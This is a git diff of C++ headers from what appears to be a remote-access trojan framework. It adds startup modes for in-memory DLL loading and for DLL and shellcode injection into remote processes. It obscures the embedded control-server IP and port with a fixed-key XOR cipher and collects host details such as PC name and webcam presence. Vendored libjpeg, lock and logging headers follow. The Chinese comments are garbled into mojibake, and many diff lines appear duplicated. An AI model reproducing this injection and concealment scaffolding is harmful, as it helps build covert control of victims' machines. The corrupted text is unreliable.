// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
enum TestRunType {
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD>޴<EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
{
for (int i = 0; i < iBufferSize - iKeySize; ++i)
{
if (0 == memcmp(szBuffer + i, Key, iKeySize))
{
return i;
}
}
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ // <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS typedef struct CONNECT_ADDRESS
{ {
@@ -276,7 +386,8 @@ public:
bool bEncrypt; bool bEncrypt;
char szBuildDate[12]; char szBuildDate[12];
int iMultiOpen; int iMultiOpen;
char szReserved[134]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD> int iStartup; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
char szReserved[130]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
public: public:
void SetType(int typ) { void SetType(int typ) {
@@ -285,32 +396,87 @@ public:
const void* Flag() const { const void* Flag() const {
return szFlag; return szFlag;
} }
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
CONNECT_ADDRESS copy = *this;
memset(copy.szFlag, 0, sizeof(szFlag));
memcpy(copy.szFlag, flag, strlen(flag));
return copy;
}
int FlagLen() const { int FlagLen() const {
return strlen(szFlag); return strlen(szFlag);
} }
const char* ServerIP()const { const char* ServerIP(){
if (bEncrypt) {
Decrypt();
}
return szServerIP; return szServerIP;
} }
int ServerPort()const { int ServerPort() {
if (bEncrypt) {
Decrypt();
}
return atoi(szPort); return atoi(szPort);
} }
int ClientType()const { int ClientType()const {
return iType; return iType;
} }
void SetServer(const char* ip, int port) { // return true if modified
if (ip && strlen(ip) && port > 0) { bool SetServer(const char* ip, int port, bool e = false) {
strcpy_s(szServerIP, ip); if (ip == NULL || strlen(ip) <= 0 || port <= 0)
sprintf_s(szPort, "%d", port); return false;
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
return modified;
}
void Encrypt() {
if (!bEncrypt){
bEncrypt = true;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
} }
} }
bool IsValid()const { void Decrypt() {
return strlen(szServerIP) != 0 && atoi(szPort) > 0; if (bEncrypt) {
bEncrypt = false;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
}
}
bool IsValid() {
return strlen(ServerIP()) != 0 && ServerPort() > 0;
} }
int Size() const { int Size() const {
return sizeof(CONNECT_ADDRESS); return sizeof(CONNECT_ADDRESS);
} }
} CONNECT_ADDRESS ; } CONNECT_ADDRESS ;
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
struct ThreadInfo
{
int run;
HANDLE h;
void* p;
void* user;
CONNECT_ADDRESS* conn;
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
};
struct PluginParam {
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
int Port; // <20><><EFBFBD>ض˿<D8B6>
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
void* User; // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
strcpy_s(IP, ip);
}
};
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD> // <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) { inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD> // ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
@@ -339,7 +505,8 @@ typedef struct LOGIN_INFOR
char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD> char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD> unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
@@ -421,13 +588,25 @@ typedef struct MasterSettings {
char Reserved[476]; // Ԥ<><D4A4> char Reserved[476]; // Ԥ<><D4A4>
}MasterSettings; }MasterSettings;
enum // 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
typedef struct DllExecuteInfo {
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int Size; // DLL <20><>С
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
char Reseverd[56];
}DllExecuteInfo;
enum
{ {
SOFTWARE_CAMERA = 0, SOFTWARE_CAMERA = 0,
SOFTWARE_TELEGRAM, SOFTWARE_TELEGRAM,
SHELLCODE = 0, SHELLCODE = 0,
MEMORYDLL = 1, MEMORYDLL = 1,
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
}; };
typedef DWORD(__stdcall* PidCallback)(void); typedef DWORD(__stdcall* PidCallback)(void);
@@ -597,4 +776,10 @@ public:
} }
}; };
#ifdef _WIN64
#define MYMSG MSG
#else
#define MYMSG MSG64
#endif
#endif #endif

30
common/dllRunner.h Normal file
View File

@@ -0,0 +1,30 @@
#pragma once
#include <windows.h>
// A DLL runner.
class DllRunner {
public:
virtual ~DllRunner(){}
virtual void* LoadLibraryA(const char* path, int size = 0) = 0;
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
virtual BOOL FreeLibrary(void* mod) = 0;
};
// Default DLL runner.
class DefaultDllRunner : public DllRunner {
private:
std::string m_path;
HMODULE m_mod;
public:
DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {}
// Load DLL from the disk.
virtual void* LoadLibraryA(const char* path, int size = 0) {
return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path);
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
return ::GetProcAddress(m_mod, lpProcName);
}
virtual BOOL FreeLibrary(void* mod) {
return ::FreeLibrary(m_mod);
}
};

33
common/ip_enc.h Normal file
View File

@@ -0,0 +1,33 @@
#pragma once
#include <vector>
#include <cstdint>
#include <string>
// Encode for IP and Port.
// provided by ChatGPT.
class StreamCipher {
private:
uint32_t state;
// <20>򵥷<EFBFBD><F2B5A5B7><EFBFBD><EFBFBD><EFBFBD>α<EFBFBD><CEB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
uint8_t prngNext() {
// <20><><EFBFBD>ӣ<EFBFBD>xorshift32<33><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
state ^= (state << 13);
state ^= (state >> 17);
state ^= (state << 5);
// <20>ٻ<EFBFBD><D9BB><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>򵥵ķ<F2B5A5B5><C4B7><EFBFBD><EFBFBD>Ա任
uint8_t out = (state & 0xFF) ^ ((state >> 8) & 0xFF);
return out;
}
public:
StreamCipher(uint32_t key) : state(key) {}
// <20><><EFBFBD>ܽ<EFBFBD><DCBD>ܣ<EFBFBD><DCA3>Գƣ<D4B3><C6A3><EFBFBD><EFBFBD>Ȳ<EFBFBD><C8B2>
void process(uint8_t* data, size_t len) {
for (size_t i = 0; i < len; ++i) {
data[i] ^= prngNext();
}
}
};

33
common/jconfig.h Normal file
View File

@@ -0,0 +1,33 @@
#define JPEG_LIB_VERSION 62
#define LIBJPEG_TURBO_VERSION 2.1.1
#define LIBJPEG_TURBO_VERSION_NUMBER 2001001
#define C_ARITH_CODING_SUPPORTED
#define D_ARITH_CODING_SUPPORTED
#define MEM_SRCDST_SUPPORTED
#define WITH_SIMD
#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
#define HAVE_STDDEF_H
#define HAVE_STDLIB_H
#undef NEED_SYS_TYPES_H
#undef NEED_BSD_STRINGS
#define HAVE_UNSIGNED_CHAR
#define HAVE_UNSIGNED_SHORT
#undef INCOMPLETE_TYPES_BROKEN
#undef RIGHT_SHIFT_IS_UNSIGNED
/* Define "boolean" as unsigned char, not int, per Windows custom */
#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
typedef unsigned char boolean;
#endif
#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
/* Define "INT32" as int, not long, per Windows custom */
#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */
typedef short INT16;
typedef signed int INT32;
#endif
#define XMD_H /* prevent jmorecfg.h from redefining it */

386
common/jmorecfg.h Normal file
View File

@@ -0,0 +1,386 @@
/*
* jmorecfg.h
*
* This file was part of the Independent JPEG Group's software:
* Copyright (C) 1991-1997, Thomas G. Lane.
* Modified 1997-2009 by Guido Vollbeding.
* libjpeg-turbo Modifications:
* Copyright (C) 2009, 2011, 2014-2015, 2018, 2020, D. R. Commander.
* For conditions of distribution and use, see the accompanying README.ijg
* file.
*
* This file contains additional configuration options that customize the
* JPEG software for special applications or support machine-dependent
* optimizations. Most users will not need to touch this file.
*/
/*
* Maximum number of components (color channels) allowed in JPEG image.
* To meet the letter of Rec. ITU-T T.81 | ISO/IEC 10918-1, set this to 255.
* However, darn few applications need more than 4 channels (maybe 5 for CMYK +
* alpha mask). We recommend 10 as a reasonable compromise; use 4 if you are
* really short on memory. (Each allowed component costs a hundred or so
* bytes of storage, whether actually used in an image or not.)
*/
#define MAX_COMPONENTS 10 /* maximum number of image components */
/*
* Basic data types.
* You may need to change these if you have a machine with unusual data
* type sizes; for example, "char" not 8 bits, "short" not 16 bits,
* or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits,
* but it had better be at least 16.
*/
/* Representation of a single sample (pixel element value).
* We frequently allocate large arrays of these, so it's important to keep
* them small. But if you have memory to burn and access to char or short
* arrays is very slow on your hardware, you might want to change these.
*/
#if BITS_IN_JSAMPLE == 8
/* JSAMPLE should be the smallest type that will hold the values 0..255.
*/
typedef unsigned char JSAMPLE;
#define GETJSAMPLE(value) ((int)(value))
#define MAXJSAMPLE 255
#define CENTERJSAMPLE 128
#endif /* BITS_IN_JSAMPLE == 8 */
#if BITS_IN_JSAMPLE == 12
/* JSAMPLE should be the smallest type that will hold the values 0..4095.
* On nearly all machines "short" will do nicely.
*/
typedef short JSAMPLE;
#define GETJSAMPLE(value) ((int)(value))
#define MAXJSAMPLE 4095
#define CENTERJSAMPLE 2048
#endif /* BITS_IN_JSAMPLE == 12 */
/* Representation of a DCT frequency coefficient.
* This should be a signed value of at least 16 bits; "short" is usually OK.
* Again, we allocate large arrays of these, but you can change to int
* if you have memory to burn and "short" is really slow.
*/
typedef short JCOEF;
/* Compressed datastreams are represented as arrays of JOCTET.
* These must be EXACTLY 8 bits wide, at least once they are written to
* external storage. Note that when using the stdio data source/destination
* managers, this is also the data type passed to fread/fwrite.
*/
typedef unsigned char JOCTET;
#define GETJOCTET(value) (value)
/* These typedefs are used for various table entries and so forth.
* They must be at least as wide as specified; but making them too big
* won't cost a huge amount of memory, so we don't provide special
* extraction code like we did for JSAMPLE. (In other words, these
* typedefs live at a different point on the speed/space tradeoff curve.)
*/
/* UINT8 must hold at least the values 0..255. */
typedef unsigned char UINT8;
/* UINT16 must hold at least the values 0..65535. */
#ifdef HAVE_UNSIGNED_SHORT
typedef unsigned short UINT16;
#else /* not HAVE_UNSIGNED_SHORT */
typedef unsigned int UINT16;
#endif /* HAVE_UNSIGNED_SHORT */
/* INT16 must hold at least the values -32768..32767. */
#ifndef XMD_H /* X11/xmd.h correctly defines INT16 */
typedef short INT16;
#endif
/* INT32 must hold at least signed 32-bit values.
*
* NOTE: The INT32 typedef dates back to libjpeg v5 (1994.) Integers were
* sometimes 16-bit back then (MS-DOS), which is why INT32 is typedef'd to
* long. It also wasn't common (or at least as common) in 1994 for INT32 to be
* defined by platform headers. Since then, however, INT32 is defined in
* several other common places:
*
* Xmd.h (X11 header) typedefs INT32 to int on 64-bit platforms and long on
* 32-bit platforms (i.e always a 32-bit signed type.)
*
* basetsd.h (Win32 header) typedefs INT32 to int (always a 32-bit signed type
* on modern platforms.)
*
* qglobal.h (Qt header) typedefs INT32 to int (always a 32-bit signed type on
* modern platforms.)
*
* This is a recipe for conflict, since "long" and "int" aren't always
* compatible types. Since the definition of INT32 has technically been part
* of the libjpeg API for more than 20 years, we can't remove it, but we do not
* use it internally any longer. We instead define a separate type (JLONG)
* for internal use, which ensures that internal behavior will always be the
* same regardless of any external headers that may be included.
*/
#ifndef XMD_H /* X11/xmd.h correctly defines INT32 */
#ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */
#ifndef _BASETSD_H /* MinGW is slightly different */
#ifndef QGLOBAL_H /* Qt defines it in qglobal.h */
typedef long INT32;
#endif
#endif
#endif
#endif
/* Datatype used for image dimensions. The JPEG standard only supports
* images up to 64K*64K due to 16-bit fields in SOF markers. Therefore
* "unsigned int" is sufficient on all machines. However, if you need to
* handle larger images and you don't mind deviating from the spec, you
* can change this datatype. (Note that changing this datatype will
* potentially require modifying the SIMD code. The x86-64 SIMD extensions,
* in particular, assume a 32-bit JDIMENSION.)
*/
typedef unsigned int JDIMENSION;
#define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */
/* These macros are used in all function definitions and extern declarations.
* You could modify them if you need to change function linkage conventions;
* in particular, you'll need to do that to make the library a Windows DLL.
* Another application is to make all functions global for use with debuggers
* or code profilers that require it.
*/
/* a function called through method pointers: */
#define METHODDEF(type) static type
/* a function used only in its module: */
#define LOCAL(type) static type
/* a function referenced thru EXTERNs: */
#define GLOBAL(type) type
/* a reference to a GLOBAL function: */
#define EXTERN(type) extern type
/* Originally, this macro was used as a way of defining function prototypes
* for both modern compilers as well as older compilers that did not support
* prototype parameters. libjpeg-turbo has never supported these older,
* non-ANSI compilers, but the macro is still included because there is some
* software out there that uses it.
*/
#define JMETHOD(type, methodname, arglist) type (*methodname) arglist
/* libjpeg-turbo no longer supports platforms that have far symbols (MS-DOS),
* but again, some software relies on this macro.
*/
#undef FAR
#define FAR
/*
* On a few systems, type boolean and/or its values FALSE, TRUE may appear
* in standard header files. Or you may have conflicts with application-
* specific header files that you want to include together with these files.
* Defining HAVE_BOOLEAN before including jpeglib.h should make it work.
*/
#ifndef HAVE_BOOLEAN
typedef int boolean;
#endif
#ifndef FALSE /* in case these macros already exist */
#define FALSE 0 /* values of boolean */
#endif
#ifndef TRUE
#define TRUE 1
#endif
/*
* The remaining options affect code selection within the JPEG library,
* but they don't need to be visible to most applications using the library.
* To minimize application namespace pollution, the symbols won't be
* defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined.
*/
#ifdef JPEG_INTERNALS
#define JPEG_INTERNAL_OPTIONS
#endif
#ifdef JPEG_INTERNAL_OPTIONS
/*
* These defines indicate whether to include various optional functions.
* Undefining some of these symbols will produce a smaller but less capable
* library. Note that you can leave certain source files out of the
* compilation/linking process if you've #undef'd the corresponding symbols.
* (You may HAVE to do that if your compiler doesn't like null source files.)
*/
/* Capability options common to encoder and decoder: */
#define DCT_ISLOW_SUPPORTED /* accurate integer method */
#define DCT_IFAST_SUPPORTED /* less accurate int method [legacy feature] */
#define DCT_FLOAT_SUPPORTED /* floating-point method [legacy feature] */
/* Encoder capability options: */
#define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
#define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
#define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */
/* Note: if you selected 12-bit data precision, it is dangerous to turn off
* ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit
* precision, so jchuff.c normally uses entropy optimization to compute
* usable tables for higher precision. If you don't want to do optimization,
* you'll have to supply different default Huffman tables.
* The exact same statements apply for progressive JPEG: the default tables
* don't work for progressive mode. (This may get fixed, however.)
*/
#define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */
/* Decoder capability options: */
#define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
#define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
#define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */
#define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */
#define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */
#undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */
#define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */
#define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */
#define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */
/* more capability options later, no doubt */
/*
* The RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros are a vestigial
* feature of libjpeg. The idea was that, if an application developer needed
* to compress from/decompress to a BGR/BGRX/RGBX/XBGR/XRGB buffer, they could
* change these macros, rebuild libjpeg, and link their application statically
* with it. In reality, few people ever did this, because there were some
* severe restrictions involved (cjpeg and djpeg no longer worked properly,
* compressing/decompressing RGB JPEGs no longer worked properly, and the color
* quantizer wouldn't work with pixel sizes other than 3.) Furthermore, since
* all of the O/S-supplied versions of libjpeg were built with the default
* values of RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE, many applications
* have come to regard these values as immutable.
*
* The libjpeg-turbo colorspace extensions provide a much cleaner way of
* compressing from/decompressing to buffers with arbitrary component orders
* and pixel sizes. Thus, we do not support changing the values of RGB_RED,
* RGB_GREEN, RGB_BLUE, or RGB_PIXELSIZE. In addition to the restrictions
* listed above, changing these values will also break the SIMD extensions and
* the regression tests.
*/
#define RGB_RED 0 /* Offset of Red in an RGB scanline element */
#define RGB_GREEN 1 /* Offset of Green */
#define RGB_BLUE 2 /* Offset of Blue */
#define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */
#define JPEG_NUMCS 17
#define EXT_RGB_RED 0
#define EXT_RGB_GREEN 1
#define EXT_RGB_BLUE 2
#define EXT_RGB_PIXELSIZE 3
#define EXT_RGBX_RED 0
#define EXT_RGBX_GREEN 1
#define EXT_RGBX_BLUE 2
#define EXT_RGBX_PIXELSIZE 4
#define EXT_BGR_RED 2
#define EXT_BGR_GREEN 1
#define EXT_BGR_BLUE 0
#define EXT_BGR_PIXELSIZE 3
#define EXT_BGRX_RED 2
#define EXT_BGRX_GREEN 1
#define EXT_BGRX_BLUE 0
#define EXT_BGRX_PIXELSIZE 4
#define EXT_XBGR_RED 3
#define EXT_XBGR_GREEN 2
#define EXT_XBGR_BLUE 1
#define EXT_XBGR_PIXELSIZE 4
#define EXT_XRGB_RED 1
#define EXT_XRGB_GREEN 2
#define EXT_XRGB_BLUE 3
#define EXT_XRGB_PIXELSIZE 4
static const int rgb_red[JPEG_NUMCS] = {
-1, -1, RGB_RED, -1, -1, -1, EXT_RGB_RED, EXT_RGBX_RED,
EXT_BGR_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
EXT_RGBX_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
-1
};
static const int rgb_green[JPEG_NUMCS] = {
-1, -1, RGB_GREEN, -1, -1, -1, EXT_RGB_GREEN, EXT_RGBX_GREEN,
EXT_BGR_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
EXT_RGBX_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
-1
};
static const int rgb_blue[JPEG_NUMCS] = {
-1, -1, RGB_BLUE, -1, -1, -1, EXT_RGB_BLUE, EXT_RGBX_BLUE,
EXT_BGR_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
EXT_RGBX_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
-1
};
static const int rgb_pixelsize[JPEG_NUMCS] = {
-1, -1, RGB_PIXELSIZE, -1, -1, -1, EXT_RGB_PIXELSIZE, EXT_RGBX_PIXELSIZE,
EXT_BGR_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
EXT_RGBX_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
-1
};
/* Definitions for speed-related optimizations. */
/* On some machines (notably 68000 series) "int" is 32 bits, but multiplying
* two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER
* as short on such a machine. MULTIPLIER must be at least 16 bits wide.
*/
#ifndef MULTIPLIER
#ifndef WITH_SIMD
#define MULTIPLIER int /* type for fastest integer multiply */
#else
#define MULTIPLIER short /* prefer 16-bit with SIMD for parellelism */
#endif
#endif
/* FAST_FLOAT should be either float or double, whichever is done faster
* by your compiler. (Note that this type is only used in the floating point
* DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.)
*/
#ifndef FAST_FLOAT
#define FAST_FLOAT float
#endif
#endif /* JPEG_INTERNAL_OPTIONS */

1176
common/jpeglib.h Normal file

File diff suppressed because it is too large Load Diff

141
common/locker.h Normal file
View File

@@ -0,0 +1,141 @@
#pragma once
#pragma warning(disable: 4996)
#pragma warning(disable: 4819)
// 互斥锁、睡眠函数、自动锁、自动计时、自动日志等
#include "logger.h"
// 自动日志
class CAutoLog
{
private:
CRITICAL_SECTION *m_cs;
const char* name;
public:
CAutoLog(const char* _name, CRITICAL_SECTION *cs=NULL) : name(_name), m_cs(cs)
{
Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
if (m_cs)EnterCriticalSection(m_cs);
}
~CAutoLog()
{
if (m_cs)LeaveCriticalSection(m_cs);
Mprintf(">>> Leave thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
}
};
class CLock {
public:
CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
{
Lock();
}
CLock() : m_cs(nullptr)
{
InitializeCriticalSection(&i_cs);
}
~CLock()
{
m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
}
void Unlock()
{
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
}
void Lock()
{
EnterCriticalSection(m_cs ? m_cs : &i_cs);
}
void unlock()
{
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
}
void lock()
{
EnterCriticalSection(m_cs ? m_cs : &i_cs);
}
protected:
CRITICAL_SECTION* m_cs; // 外部锁
CRITICAL_SECTION i_cs; // 内部锁
};
typedef CLock CLocker;
class CAutoLock
{
private:
CRITICAL_SECTION &m_cs;
public:
CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
{
EnterCriticalSection(&m_cs);
}
~CAutoLock()
{
LeaveCriticalSection(&m_cs);
}
};
// 智能计时器,计算函数的耗时
class auto_tick {
private:
const char* func;
int span;
clock_t tick;
__inline clock_t now() const {
return clock();
}
__inline int time() const {
return now() - tick;
}
public:
auto_tick(const char* func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
~auto_tick() {
stop();
}
__inline void stop() {
if (span != 0) {
int s(this->time());
if (s > span)Mprintf("[%s] cost: [%d]ms.\n", func, s);
span = 0;
}
}
};
#ifdef _DEBUG
// 智能计算当前函数的耗时,超时会打印
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#define STOP_TICK TICK.stop()
#else
#define AUTO_TICK(thresh)
#define STOP_TICK
#endif
#define AUTO_TICK_C AUTO_TICK
#include <MMSystem.h>
#pragma comment(lib, "winmm.lib")
// 高精度的睡眠函数
#define Sleep_m(ms) { Sleep(ms); }
// 以步长n毫秒在条件C下等待T秒(n是步长必须能整除1000)
#define WAIT_n(C, T, n) { int s=(1000*(T))/(n); s=max(s,1); do{Sleep(n);}while((C)&&(--s)); }
// 在条件C成立时等待T秒(步长10ms)
#define WAIT(C, T) { WAIT_n(C, T, 10); }
// 在条件C成立时等待T秒(步长1ms)
#define WAIT_1(C, T) { WAIT_n(C, T, 1); }

234
common/logger.h Normal file
View File

@@ -0,0 +1,234 @@
#pragma once
#pragma warning(disable: 4996)
#ifdef _WIN32
#ifdef _WINDOWS
#include <afxwin.h>
#else
#include <windows.h>
#endif
#include <iostream>
#include <fstream>
#include <mutex>
#include <queue>
#include <string>
#include <thread>
#include <condition_variable>
